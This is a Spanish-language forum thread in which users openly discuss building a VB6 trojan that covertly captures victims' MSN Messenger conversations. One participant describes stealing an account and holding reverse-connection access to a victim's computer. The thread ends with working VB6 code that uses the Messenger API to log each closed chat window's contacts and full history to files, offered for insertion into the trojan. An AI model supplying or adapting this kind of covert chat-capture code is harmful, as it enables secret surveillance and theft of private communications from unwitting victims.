[Codigo]Capturar conversaciones de msn completas en vb6

[hepy_92]

weno.. estoy creando un troyano en vb6, multi c.i, y seria interesante añadirle la funcion de capturar una conversacion completa de msn, como lo hace la funcion de guardar historiales en msn
alguien se le ocurre alguna idea???
Gracias de antemano 

PD: ya estuve buscando, no encontre nada que me convenciera

[ogirdor]

ooo eso es justo lo que necesito... porq robandole la cuenta y activandole el historial solo funcionara hasta que la persona lo desactive.. y los keyloggers no proporcionan toda la informacion de la conversa...

escuche tambien aserca de sniffers.. pero por lo que vi solo funcionaban para la red local...

de verdad necesito de esta informacion, ademas de querer aprender más cada dia.

cualquier ayuda se agradece.

PD: cabe decir que no necesariamente quiero sniffear, ya que como tengo acceso a ese computador via connexion inversa.. bastaria con crear una especia de "historial de conversas" msn plus.. perocompletamente oculto tanto en su ejecucion como instalacion.

saludos

[ReViJa]

La respuesta la tienes en

[hepy_92]

Tesis, como ya lo dije en mi post NO encontre nada que me sirva, por eso posteo aca, si tienes algo en que aportar se te agradeceria

[hepy_92]

alguien podria ayudarme!? no encuentro nada en el foro!

[~~]

Pues puedes snifar las conversaciones, aunke lo veo un poco complicado... mirate la api del messenger a ver si hay algo q te valga, q supongo q si

[hepy_92]

muchas gracias E0N muy buena la api  me podria servir mucho.. pero hay alguna forma de activarle guardar los historiales con esa api???

[Jareth]

Yo vi un codigo creo pero paa el msn 7,igual alguien podria adaptarlo solo es modificar  unas declaraciones y tipos.
Si lo encuentro lo posteo,estaba en vbfrance.com,buscad por:conversation msn o capturer conversation msn.
Saludos.

[hepy_92]

gracias Jareth!! al parecer me salvas en todos los posts 
lo encontre en vbfrance.com por capturer conversation msn
aka va el code por si alguien lo quiere
lo unico que hay que hacer es agregar la api de messenger
para agregarla vayan a Proyecto, Referencias, y seleccionan Messenger Api Type Library

Código [Seleccionar] Expandir

Option Explicit
Private WithEvents objMessenger As MessengerAPI.Messenger

Private Sub Form_Load()
    Set objMessenger = New MessengerAPI.Messenger
End Sub

Private Sub objMessenger_OnIMWindowDestroyed(ByVal pIMWindow As Object)
    Dim MsgrIMWindow As IMessengerConversationWnd
    Dim MsgrContacts As IMessengerContacts
    Dim i As Long
    Dim fil As Integer
    Dim strTmpText As String
   
    Set MsgrIMWindow = pIMWindow
    Set MsgrContacts = MsgrIMWindow.Contacts
     
    If MsgrContacts.Count = 0 Then
        strTmpText = "test"
    Else
        strTmpText = MsgrContacts.Item(0).SigninName
    End If
   
    fil = FreeFile()
    Open "C:\test\" & strTmpText & ".log" For Append As #fil
        Print #fil, "_______________________________________________________________________________________"
        Print #fil, "Le " & Date & " a " & Time
        Print #fil, "Contactos de la Conversacion (" & MsgrContacts.Count & "): "
        For i = 0 To MsgrContacts.Count - 1
            Print #fil, " - " & MsgrContacts.Item(i).FriendlyName & "<" & MsgrContacts.Item(0).SigninName & ">"
        Next
        Print #fil, "---------------------------------------------------------------------------------------"
        Print #fil, MsgrIMWindow.History
        Print #fil, "_______________________________________________________________________________________" & vbCrLf
    Close #fil
End Sub

[Jareth]

Era ese.Te lo iba a poner yo,pero ya lo encontraste 
Saludos y suerte con tu proyecto!